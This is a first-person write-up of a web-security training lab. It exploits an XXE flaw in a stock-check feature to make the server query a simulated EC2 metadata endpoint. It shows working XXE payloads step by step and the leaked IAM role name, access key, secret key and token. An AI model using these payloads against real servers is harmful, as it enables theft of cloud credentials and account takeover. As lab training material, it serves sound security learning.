Exploiting XXE to perform SSRF attacks

Description

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.

To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

Approach

After accessing the lab, I quickly identified a POST request that sent XML data to the backend. Here's the request:

POST /product/stock HTTP/2
Host: 0adc00e90446bbab80dc21ad0080005d.web-security-academy.net
Cookie: session=GoXAgdvk2vxaJtE8jsqZdWOXTZlZH1qa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>1</productId>
		<storeId>3</storeId>
	</stockCheck>

I attempted to exploit an XXE vulnerability by creating an external entity pointing to an internal system, http://169.254.169.254/. However, I encountered an unexpected response indicating an "Invalid product ID: latest".

POST /product/stock HTTP/2
Host: 0aae001604461df0800d4eee002c0026.web-security-academy.net
Cookie: session=VmTjLdp8OyOC7gexm0Hb1s944hwhjn3X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 28

"Invalid product ID: latest"

To proceed, I referred to an article on exploiting AWS metadata endpoint SSRF vulnerabilities. It mentioned accessing http://169.254.169.254/latest/meta-data/iam/security-credentials/ to steal valid roles. Incorporating this into my payload, I crafted the following request:

POST /product/stock HTTP/2
Host: 0aae001604461df0800d4eee002c0026.web-security-academy.net
Cookie: session=VmTjLdp8OyOC7gexm0Hb1s944hwhjn3X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 27

"Invalid product ID: admin"

The response revealed that the role name was 'admin'. By accessing http://169.254.169.254/latest/meta-data/iam/security-credentials/admin, I obtained valuable metadata:

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>

Response

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 552

"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2024-05-08T14:48:15.679401702Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "Jv8eJpn4tRUB2jnBOjmH",
  "SecretAccessKey" : "gZtZqrN8h49p4mOCen18ZdYVJEeSoPxdJsNiVO4Z",
  "Token" : "NQbXcSl1rj7uAs4l3e4TKe5hmHVo8FmzgCnARo6gnQgN6GmjIibBEFRHfxah1JJ6zKOzU57zS2IhvhWpXRQ8dJcFBjzHrt0OF4E8XX3wbhnpWv0s0iWETwldSJH0YUa0KUtusOZ6vd55osF3mwcN8OEodfzNo9CiME4V2vSMIX8U53vzmiveTrA3FUOclJNrClh17QP7KckJGzVQ0vpY1jAHBCn2pqggGpMPumd0y308btuPDEHrCqVTOHhPzjjW",
  "Expiration" : "2030-05-07T14:48:15.679401702Z"
}"

By obtaining this information, I successfully solved the lab.